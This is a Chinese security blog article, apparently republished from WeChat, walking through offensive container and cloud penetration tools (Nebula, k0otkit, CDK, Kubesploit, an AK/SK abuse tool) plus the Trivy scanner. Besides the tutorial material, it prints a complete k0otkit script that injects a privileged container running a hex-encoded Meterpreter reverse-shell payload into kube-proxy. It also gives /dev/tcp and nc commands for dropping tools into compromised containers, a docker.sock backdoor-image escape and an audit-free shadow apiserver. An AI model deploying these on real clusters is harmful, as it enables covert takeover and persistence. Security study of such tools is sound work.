2024年2月11日23:08:00评论10 views字数 14247阅读47分29秒阅读模式

基础到深度

了解容器安全

最终章：容器安全自动化工具

容器安全攻击工具的研究主要集中在探索和模拟攻击者如何利用容器技术的潜在弱点来发起攻击，从而帮助安全团队更好地理解风险并加强防御措施。这些工具在安全研究领域用于以下目的：

漏洞利用：开发或集成可以检测和利用容器镜像内软件和服务漏洞的工具，例如CVE-2019-5736这样的Docker逃逸漏洞。
镜像审计：创建能够深入分析容器镜像内容的安全工具，如Trivy、Clair等，查找已知的安全漏洞、恶意软件以及其他不合规配置。
运行时攻击模拟：设计工具来模拟对容器运行环境的攻击，包括权限提升、资源滥用、网络攻击等，如通过访问控制不当、API接口滥用等手段尝试进行逃逸攻击。
供应链安全测试：检验容器构建流程及依赖库的安全性，以防止供应链污染，这类工具可能用来检测是否从不可信源拉取镜像或包含有漏洞的组件。
编排平台安全测试：针对Kubernetes等容器编排平台的安全测试工具，用于探测平台配置缺陷、RBAC设置错误、API Server暴露等问题。

值得注意的是，这类工具应当仅限于合法的安全研究、渗透测试和防御性安全演练，确保在得到授权的情况下使用，切勿用于非法攻击活动。通过此类工具的研究与应用，企业能够更有效地识别自身容器环境中的安全弱点，并针对性地制定防护策略与应急预案。

Nebula

最终章：容器安全自动化工具

工具介绍

Nebula是一个云和DevOps渗透测试框架，它为每个提供者和每个功能构建了模块，截至 2021年4月，它仅涵盖AWS，但目前是一个正在进行的项目，有望继续发展以测试GCP、Azure、Kubernetes、Docker或Ansible、Terraform、Chef等自动化引擎
项目地址：https://github.com/gl4ssesbo1/Nebula

覆盖范围：

S3 Bucket name bruteforce
IAM, EC2, S3, STS and Lambda Enumeration
IAM, EC2, STS, and S3 exploitation
SSM Enumeration + Exploitation
Custom HTTP User-Agent
Enumerate Read Privileges (working on write privs)
Reverse Shell
No creds Reconnaisance

当前模块：

Reconnaissance
Enumeration
Exploit
Cleanup
Reverse Shell

使用教程

平台安装

这里仅介绍docker安装工具平台，下载项目文件：

git clone https://github.com/gl4ssesbo1/Nebuladocker pull gl4ssesbo1/nebula:latest

最终章：容器安全自动化工具

执行项目：

cd Nebuladocker run -v $(pwd):/app -ti gl4ssesbo1/nebula:latest main.py

最终章：容器安全自动化工具

帮助信息

()()(AWS) >>> help    Help Command:               Description:    -------------               ------------    help                        Show help for all the commands    help credentials            Show help for credentials    help module                 Show help for modules    help workspace              Show help for credentials    help user-agent             Show help for credentials    help shell                  Show help for shell connections    Module Commands             Description    ---------------             -----------    show modules                List all the modules    show enum                   List all Enumeration modules    show exploit                List all Exploit modules    show persistence            List all Persistence modules    show privesc                List all Privilege Escalation modules    show reconnaissance         List all Reconnaissance modules    show listener               List all Reconnaissance modules    show cleanup                List all Enumeration modules    show detection              List all Exploit modules    show detectionbypass        List all Persistence modules    show lateralmovement        List all Privilege Escalation modules    show stager                 List all Reconnaissance modules    use module <module>         Use a module.    options                     Show options of a module you have selected.    run                         Run a module you have selected. Eg: 'run <module name>'    search                      Search for a module via pattern. Eg: 'search s3'    back                        Unselect a module    set <option>                Set option of a module. Need to have the module used first.    unset <option>              Unset option of a module. Need to have the module used first.    User-Agent commands         Description    -------------------         -----------    set user-agent windows      Set a windows client user agent    set user-agent linux        Set a linux client user agent    set user-agent custom       Set a custom client user agent    show user-agent             Show the current user-agent    unset user-agent            Use the user agent that boto3 produces    Workspace Commands          Description    ------------------          -----------    create workspace <wp>       Create a workspace    use workspace <wp>          Use one of the workspaces    remove workspace <wp>       Remove a workspace    Shell commands              Description    -------------------         -----------    shell check_env             Check the environment you are in, get data and meta-data    shell exit                  Kill a connection    shell <command>             Run a command on a system. You don't need " on the command, just shell <command1> <command2>

权限查看

(test)()(AWS) >>> getuid------------------------------------------------UserId: A******************Q------------------------------------------------        UserID: A******************Q        Arn: arn:aws:iam::012345678912:user/user_user        Account: 012345678912[*] Output is saved to './workspaces/test/12_07_2021_02_22_54_getuid_dev_brian'

(test)()(AWS) >>> enum_user_privsUser: user_user        UserID: A******************Q        Arn: arn:aws:iam::012345678912:user/user_user        Account: 012345678912--------------------------Service: ec2--------------------------[*] Trying the 'Describe' functions:[*] 'describe_account_attributes' worked![*] 'describe_addresses' worked![*] 'describe_aggregate_id_format' worked![*] 'describe_availability_zones' worked![*] 'describe_bundle_tasks' worked![*] 'describe_capacity_reservations' worked![*] 'describe_client_vpn_endpoints' worked![*] 'describe_coip_pools' worked![*] 'describe_customer_gateways' worked![*] 'describe_dhcp_options' worked![*] 'describe_egress_only_internet_gateways' worked!^C[*] Stopping. It might take a while. Please wait.[*] Output of the allowed functions is saved to './workspaces/test/12_07_2021_02_24_09_enum_user_privs'[*] The list of the allowed functions is saved to './workspaces/test/12_07_2021_02_24_09_allowed_functions'

模块查询

()()(AWS) >>> show modules        cleanup/aws_iam_delete_access_key                                     Delete access key of a user by providing                                                                                it.        cleanup/aws_iam_delete_login_profile                                  Delete access of a user to the Management                                                                                Console        enum/aws_ec2_enum_elastic_ips                                         Lists User data of an Instance provided.                                                                                Requires Secret Key and Access Key of an IAM that has access                                                                                to it.        enum/aws_ec2_enum_images                                              List all ec2 images. Needs credentials of an                                                                                IAM with DescribeImages right. Output is dumpled on a file.                                                                                It takes a sh*tload of time, unfortunately. And boy, is it a                                                                                huge output.        enum/aws_ec2_enum_instances                                           Describes instances attribues: Instances, VCP,                                                                                Zones, Images, Security Groups, Snapshots, Subnets, Tags,                                                                                Volumes. Requires Secret Key and Access Key of an IAM that                                                                                has access to all or any of the API calls:                                                                                DescribeAvailabilityZones, DescribeImages,                                                                                DescribeInstances, DescribeKeyPairs, DescribeSecurityGroups,                                                                                DescribeSnapshots, DescribeSubnets, DescribeTags,                                                                                DescribeVolumes, DescribeVpcs

类型列举：

show moduleshow enumshow exploitshow persistenceshow privescshow reconnaissanceshow listenershow cleanupshow detectionshow detectionbypassshow lateralmovementshow stager

模块检索

()()(AWS) >>> search instance        enum/aws_ec2_enum_instances                                           Describes instances attribues: Instances, VCP,                                                                                Zones, Images, Security Groups, Snapshots, Subnets, Tags,                                                                                Volumes. Requires Secret Key and Access Key of an IAM that                                                                                has access to all or any of the API calls:                                                                                DescribeAvailabilityZones, DescribeImages,                                                                                DescribeInstances, DescribeKeyPairs, DescribeSecurityGroups,                                                                                DescribeSnapshots, DescribeSubnets, DescribeTags,                                                                                DescribeVolumes, DescribeVpcs        enum/aws_iam_list_instance_profiles                                   List all the instance profiles.        exploit/aws_ec2_create_instance_with_user_data                        You must provide policies in JSON format in                                                                                IAM. However, for AWS CloudFormation templates formatted in                                                                                YAML, you can provide the policy in JSON or YAML format. AWS                                                                                CloudFormation always converts a YAML policy to JSON format                                                                                before submitting it to IAM.()()(AWS) >>>

模块使用

(work1)()(enum/aws_ec2_enum_instances) >>> use module enum/aws_iam_get_group(work1)()(enum/aws_ec2_enum_instances) >>>

模块细节

(work1)()(enum/aws_ec2_enum_instances) >>> optionsDesctiption:-----------------------------        Describes instances attribues: Instances, VCP, Zones, Images, Security Groups, Snapshots, Subnets, Tags, Volumes. Requires Secret Key and Access Key of an IAM that has access to all or any of the API calls: DescribeAvailabilityZones, DescribeImages, DescribeInstances, DescribeKeyPairs, DescribeSecurityGroups, DescribeSnapshots, DescribeSubnets, DescribeTags, DescribeVolumes, DescribeVpcsAuthor:-----------------------------        name:   gl4ssesbo1        twitter:        https://twitter.com/gl4ssesbo1        github: https://github.com/gl4ssesbo1        blog:   https://www.pepperclipp.com/AWSCLI Command:-----------------------------        aws ec2 describe-instances --region {} --profile {}Needs Credentials: True-----------------------------Options:-----------------------------        SERVICE:        ec2                Required: true                Description: The service that will be used to run the module. It cannot be changed.        INSTANCE-ID:                Required: false                Description: The ID of the instance you want to enumerate. If not supplied, all instances will be enumerated.(work1)()(enum/aws_ec2_enum_instances) >>>

反弹shell

A、Stager()()(AWS) >>> use module stager/aws_python_tcp()()(stager/aws_python_tcp) >>> optionsDesctiption:-----------------------------        The TCP Reverse Shell that is used by listeners/aws_python_tcp_listenerAuthor:-----------------------------        name:   gl4ssesbo1        twitter:        https://twitter.com/gl4ssesbo1        github: https://github.com/gl4ssesbo1        blog:   https://www.pepperclipp.com/Needs Credentials: False-----------------------------AWSCLI Command:-----------------------------        NoneOptions:-----------------------------        SERVICE:        none                Required: true                Description: The service that will be used to run the module. It cannot be changed.        HOST:                Required: true                Description: The Host/IP of the C2 Server.        PORT:                Required: true                Description: The C2 Server Port.        FORMAT:                Required: true                Description: The format of the stager. Currently only allows 'py' for Python and 'elf' for ELF Binary.        CALLBACK-TIME:  None                Required: true                Description: The time in seconds between callbacks from Stager. The Stager calls back even if the server crashes or is stoped in a loop.        OUTPUT-FILE-NAME:                Required: true                Description: The name of the stager output file.B、Listener()()(stager/aws_python_tcp) >>> use module listeners/aws_python_tcp_listener()()(listeners/aws_python_tcp_listener) >>> optionsDesctiption:-----------------------------        TCP Listener for Reverse Shell stagers/aws_python_tcpAuthor:-----------------------------        name:   gl4ssesbo1        twitter:        https://twitter.com/gl4ssesbo1        github: https://github.com/gl4ssesbo1        blog:   https://www.pepperclipp.com/Needs Credentials: False-----------------------------AWSCLI Command:-----------------------------        NoneOptions:-----------------------------        SERVICE:        none                Required: true                Description: The service that will be used to run the module. It cannot be changed.        HOST:   0.0.0.0                Required: true                Description: The Host/IP of the C2 Server.        PORT:                Required: true                Description: The C2 Server Port.C、Agents()()(AWS) >>> set user-agent linuxUser Agent: Boto3/1.9.89 Python/3.8.1 Linux/4.1.2-34-generic was set()()(AWS) >>> show user-agent[*] User Agent is: Boto3/1.9.89 Python/3.8.1 Linux/4.1.2-34-generic()()(AWS) >>> set user-agent windowsUser Agent: Boto3/1.7.48 Python/3.9.1 Windows/7 Botocore/1.10.48 was set()()(AWS) >>> show user-agent[*] User Agent is: Boto3/1.7.48 Python/3.9.1 Windows/7 Botocore/1.10.48()()(AWS) >>> set user-agent customEnter the User-Agent you want: sthUser Agent: sth was set()()(AWS) >>> show user-agent[*] User Agent is: sth()()(AWS) >>>

k0otkit

工具介绍

k0otkit是一种通用的后渗透技术，可用于对Kubernetes集群的渗透，攻击者可以使用k0otkit快速、隐蔽和连续的方式(反向shell)操作目标Kubernetes集群中的所有节点，K0otkit使用到的技术主要有以下几个：

kube-proxy镜像(就地取材)
动态容器注入(高隐蔽性)
Meterpreter(流量加密)
无文件攻击(高隐蔽性)
DaemonSet和Secret资源(快速持续反弹、资源分离)

工具下载地址：https://github.com/Metarget/k0otkit

工具使用

下载k0otkit

git clone https://github.com/Metarget/k0otkitcd k0otkit/chmod +x ./*.sh

替换pre_exp.sh文件中的ATTACKER_IP与ATTACKER_PORT以及载荷位数

ATTACKER_IP=192.168.77.219ATTACKER_PORT=4444

生成k0otkit

最终章：容器安全自动化工具

运行handle_multi_reverse_shell.sh

最终章：容器安全自动化工具

复制k0otkit.sh中的内容到master节点中去执行(注意kubeconfig文件的位置)

volume_name=cachemount_path=/var/kube-proxy-cachectr_name=kube-proxy-cachebinary_file=/usr/local/bin/kube-proxy-cachepayload_name=cachesecret_name=proxy-cachesecret_data_name=contentctr_line_num=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')volume_line_num=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')image=$(kubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')# create payload secretcat << EOF | kubectl --kubeconfig /home/r00t/.kube/config apply -f -apiVersion: v1kind: Secretmetadata:  name: $secret_name  namespace: kube-systemtype: Opaquedata:  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODExYTU2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjYwY2IwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgwEOF# assume that ctr_line_num < volume_line_num# otherwise you should switch the two sed commands below# inject malicious container into kube-proxy podkubectl --kubeconfig /home/r00t/.kube/config -n kube-system get daemonsets kube-proxy -o yaml   | sed "$volume_line_num a      - name: $volume_namen        hostPath:n          path: /n          type: Directoryn"   | sed "$ctr_line_num a      - name: $ctr_namen        image: $imagen        imagePullPolicy: IfNotPresentn        command: ["sh"]n        args: ["-c", "echo $$payload_name | perl -e 'my $n=qq(); my $fd=syscall(319, $n, 1); open($FH, qq(>&=).$fd); select((select($FH), $|=1)[0]); print $FH pack q/H*/, <STDIN>; my $pid = fork(); if (0 != $pid) { wait }; if (0 == $pid){system(qq(/proc/$$$$/fd/$fd))}'"]n        env:n          - name: $payload_namen            valueFrom:n              secretKeyRef:n                name: $secret_namen                key: $secret_data_namen        securityContext:n          privileged: truen        volumeMounts:n        - mountPath: $mount_pathn          name: $volume_name"   | kubectl --kubeconfig /home/r00t/.kube/config replace -f -

最终章：容器安全自动化工具

等待反弹shell回来

最终章：容器安全自动化工具

进行交互操作

最终章：容器安全自动化工具

逃逸并控制节点

最终章：容器安全自动化工具

CDK Tools

工具简介

CDK是一款为容器环境定制的渗透测试工具，在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP，集成Docker/K8s场景特有的逃逸、横向移动、持久化利用方式，插件化管理
工具地址：https://github.com/cdk-team/CDK

使用教程

下载植入

将可执行文件投递到已攻入的容器内部开始使用：https://github.com/cdk-team/CDK/releases/

技巧：在真实渗透中如何通过漏洞exploit向容器中投递CDK

如果你的漏洞利用过程允许上传文件，即可直接植入CDK。如果你可以在目标容器中执行命令(RCE)，但容器中没有wget或curl命令，可以参考下面方法植入：

将CDK下载到你的公网服务器，监听端口：

nc -lvp 999 < cdk

在已攻入的目标容器中执行：

cat < /dev/tcp/(你的IP)/(端口) > cdkchmod a+x cdk

内网穿透

评估容器弱点

最终章：容器安全自动化工具

containerd-shim(CVE-2020-15257)漏洞逃逸

通过共享的net namespace向宿主机的containerd-shim进程发起请求，利用其特性反弹宿主机的shell到远端服务器。

最终章：容器安全自动化工具

docker.sock漏洞逃逸

通过本地docker.sock向控制宿主机的docker进程，拉取指定的后门镜像并运行，运行过程中镜像将宿主机的根目录/挂载到容器内部的/host目录下，便于通过后门容器修改宿主机本地文件(如crontab)来完成逃逸。

# deploy image from dockerhub./cdk run docker-sock-deploy /var/run/docker.sock alpine:latest# deploy image from user image registry./cdk run docker-sock-deploy registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd

部署K8s shadow apiserver

向K8s集群中部署一个shadow apiserver，该apiserver具有和集群中现存的apiserver一致的功能，同时开启了全部K8s管理权限，接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。

./cdk run k8s-shadow-apiserver default

最终章：容器安全自动化工具

Kubesploit

最终章：容器安全自动化工具

工具简介

Kubesploit是一个功能强大的跨平台后渗透漏洞利用HTTP/2命令&控制服务器和代理工具，基于Merlin项目实现其功能，主要针对的是容器化环境的安全问题。

下载地址：https://github.com/cyberark/kubesploit

工具利用场景：

最终章：容器安全自动化工具

使用教程

工具安装

首先，我们需要使用下列命令将该项目源码克隆至本地：

git clone https://github.com/cyberark/kubesploit.git

然后切换到项目根目录，运行下列命令即可：

make

快速构建

如需在Linux系统下对项目进行快速构建，可以直接运行下列命令：

export PATH=$PATH:/usr/local/go/bingo build -o agent cmd/merlinagent/main.gogo build -o server cmd/merlinserver/main.go

使用

使用开源的 Kubernetes 漏洞扫描和测试，使用命令 ./server 运行 Kubesploit 服务器。通过对 Kubesploit 服务器环境执行代理列表来检查代理连接是否已启用。

要扫描 URL 中的多个地址，我们使用 PortScan 模块，如下所示：
最终章：容器安全自动化工具

通过允许创建豁免容器来最小化容器漏洞，使用 ContainerBreakoutMounting 模块：
最终章：容器安全自动化工具

Trivy：镜像安全扫描工具

工具介绍

在镜像安全管控中，已知漏洞风险的扫描发现是非常重要和基础的一个环节。

Trivy 作为镜像安全领域的一款优秀和强大的安全扫描工具，已经被不少团队集成和使用。

下载地址：https://github.com/aquasecurity/trivy

使用教程

General usage

trivy <target> [--scanners <scanner1,scanner2>] <subject>

Examples:

trivy image python:3.4-alpine

Result

trivy fs --scanners vuln,secret,misconfig myproject/

Result

trivy k8s --report summary cluster

Ak/Sk利用工具

工具介绍

项目地址：https://github.com/dark-kingA/cloudTools/releases/

v0.1.1 链接: https://pan.baidu.com/s/1HxuceBE7FoFmD0WNwDeUNA?pwd=dfyx 提取码: dfyx

对常见云服务的AK/SK利用api进行封装，从而便于网络安全人员利用获得的ak/sk展开下一步渗透。

引用

https://cloud.tencent.com/developer/article/2350135

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最终章：容器安全自动化工具

原文始发于微信公众号（东方隐侠安全团队）：最终章：容器安全自动化工具

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最终章：容器安全自动化工具

使用教程

平台安装

帮助信息

权限查看

模块查询

模块检索

模块使用

模块细节

工具介绍

工具使用

工具简介

使用教程

下载植入

技巧：在真实渗透中如何通过漏洞exploit向容器中投递CDK

内网穿透

工具简介

使用教程

工具安装

快速构建

使用

工具介绍

使用教程

工具介绍

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远程桌面键盘记录器

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